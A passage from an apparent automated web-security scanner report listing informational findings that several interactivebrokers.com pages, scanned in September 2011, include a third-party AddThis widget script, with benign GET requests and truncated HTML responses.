...[SNIP]...

17.51. http://www.interactivebrokers.com/en/general/education/hdi_trade_at_IB.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/hdi_trade_at_IB.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/hdi_trade_at_IB.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:13 GMT
Server: Apache
Content-Length: 49060
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>How Do I Trade at IB?</title>
<meta name="description" co
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.52. http://www.interactivebrokers.com/en/general/education/highlights.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/highlights.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/highlights.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:12 GMT
Server: Apache
Content-Length: 93880
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Highligh
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.53. http://www.interactivebrokers.com/en/general/education/pdfnotes/WN-TWSEarningsEvents.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/pdfnotes/WN-TWSEarningsEvents.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/pdfnotes/WN-TWSEarningsEvents.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:17 GMT
Server: Apache
Content-Length: 45027
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>TWS Earnings Events Webinar Notes</title>
<meta name="des
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.54. http://www.interactivebrokers.com/en/general/education/webinars.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/webinars.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/webinars.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:05 GMT
Server: Apache
Content-Length: 53225
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Live Web
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.55. http://www.interactivebrokers.com/en/general/education/why_ib.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/why_ib.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/education/why_ib.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:11 GMT
Server: Apache
Content-Length: 45596
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Why Int
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.56. http://www.interactivebrokers.com/en/general/notifications/ibchanges.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/notifications/ibchanges.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/notifications/ibchanges.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:05 GMT
Server: Apache
Content-Length: 118634
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>IB Web
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.57. http://www.interactivebrokers.com/en/general/platinumHelp.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/platinumHelp.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/platinumHelp.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:42 GMT
Server: Apache
Content-Length: 37724
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Secure Login with Platinum Device</title>
<meta name="des
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.58. http://www.interactivebrokers.com/en/general/poll/ibconsultants.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/poll/ibconsultants.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/poll/ibconsultants.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:38 GMT
Server: Apache
Content-Length: 38805
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>The Marketplace@IB</title>
<meta name="description" conte
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.59. http://www.interactivebrokers.com/en/general/poll/poll.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/poll/poll.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/poll/poll.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:39 GMT
Server: Apache
Content-Length: 49316
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Interactive Brokers Features Poll</title>
<meta http-e
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.60. http://www.interactivebrokers.com/en/general/whyib/PDF-Education.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/whyib/PDF-Education.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/whyib/PDF-Education.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:31 GMT
Server: Apache
Content-Length: 41660
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Education Highlights</title>
<meta name="description" con
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.61. http://www.interactivebrokers.com/en/general/whyib/PDF-GlobalOfferings.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/whyib/PDF-GlobalOfferings.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/whyib/PDF-GlobalOfferings.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:26 GMT
Server: Apache
Content-Length: 66817
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Global O
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.62. http://www.interactivebrokers.com/en/general/whyib/PDF-RiskManagement.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/whyib/PDF-RiskManagement.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/whyib/PDF-RiskManagement.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:31 GMT
Server: Apache
Content-Length: 39725
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Risk Management and Control</title>
<meta name="descripti
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.63. http://www.interactivebrokers.com/en/general/whyib/PDF-SuperiorTradingTechnology.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/whyib/PDF-SuperiorTradingTechnology.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/whyib/PDF-SuperiorTradingTechnology.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:29 GMT
Server: Apache
Content-Length: 41260
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Superio
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.64. http://www.interactivebrokers.com/en/ibglobal_sites.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/ibglobal_sites.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/ibglobal_sites.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:51 GMT
Server: Apache
Content-Length: 47775
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Interactive Brokers International Websites</title>
<meta
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.65. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:34 GMT
Server: Apache
Content-Length: 54884
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Individu
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.66. http://www.interactivebrokers.com/en/pagemap/pagemap_APISolutions.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_APISolutions.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_APISolutions.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:39 GMT
Server: Apache
Content-Length: 41415
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>API Solutions</title>
<meta name="description" content="I
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.67. http://www.interactivebrokers.com/en/pagemap/pagemap_about.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_about.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_about.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:45 GMT
Server: Apache
Content-Length: 39234
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>About Interactive Brokers</title>
<meta name="description
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.68. http://www.interactivebrokers.com/en/pagemap/pagemap_accounts.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_accounts.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_accounts.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:39 GMT
Server: Apache
Content-Length: 40497
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title></title>
<meta name="description" content="">
<meta name=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.69. http://www.interactivebrokers.com/en/pagemap/pagemap_demo.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_demo.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_demo.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:39 GMT
Server: Apache
Content-Length: 39350
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Demos</
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.70. http://www.interactivebrokers.com/en/pagemap/pagemap_education.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_education.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_education.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:44 GMT
Server: Apache
Content-Length: 39991
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Educatio
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.71. http://www.interactivebrokers.com/en/pagemap/pagemap_exchanges_around_world.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_exchanges_around_world.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_exchanges_around_world.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:44 GMT
Server: Apache
Content-Length: 36334
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Exchang
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.72. http://www.interactivebrokers.com/en/pagemap/pagemap_fees.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_fees.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_fees.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:38 GMT
Server: Apache
Content-Length: 39543
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title></title>
<meta name="description" content="">
<meta name=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.73. http://www.interactivebrokers.com/en/pagemap/pagemap_hdi.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_hdi.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_hdi.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:45 GMT
Server: Apache
Content-Length: 40312
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title></title>
<meta name="description" content="">
<meta name=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.74. http://www.interactivebrokers.com/en/pagemap/pagemap_helpcontacts.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_helpcontacts.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_helpcontacts.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:36 GMT
Server: Apache
Content-Length: 38378
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Help & Contacts</title>
<meta name="description" content=
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.75. http://www.interactivebrokers.com/en/pagemap/pagemap_login.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_login.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_login.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:46 GMT
Server: Apache
Content-Length: 37739
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Login</title>
<meta name="description" content="">
<meta
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.76. http://www.interactivebrokers.com/en/pagemap/pagemap_mobiletrading.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_mobiletrading.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_mobiletrading.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:39 GMT
Server: Apache
Content-Length: 42466
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Mobile
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.77. http://www.interactivebrokers.com/en/pagemap/pagemap_newaccounts.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_newaccounts.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_newaccounts.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache
Content-Length: 38961
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title></title>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.78. http://www.interactivebrokers.com/en/pagemap/pagemap_statements.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_statements.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_statements.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:40 GMT
Server: Apache
Content-Length: 40173
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Statements and Reports</title>
<meta name="description" c
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

17.79. http://www.interactivebrokers.com/en/pagemap/pagemap_trading.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_trading.php

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_trading.php HTTP/1.1
